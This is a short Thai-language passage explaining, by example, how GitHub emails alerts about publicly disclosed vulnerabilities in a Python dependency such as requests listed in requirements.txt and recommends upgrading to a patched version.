      ตัวอย่างเช่น ถ้าใช้ Python และระบุไลบรารี requests ไว้ใน requirements.txt GitHub จะแจ้งช่องโหว่ที่เปิดเผยต่อสาธารณะของไลบรารีนั้นทาง email และแนะนำให้อัปเกรดเป็นเวอร์ชันที่สูงกว่าซึ่งแก้ไขแล้ว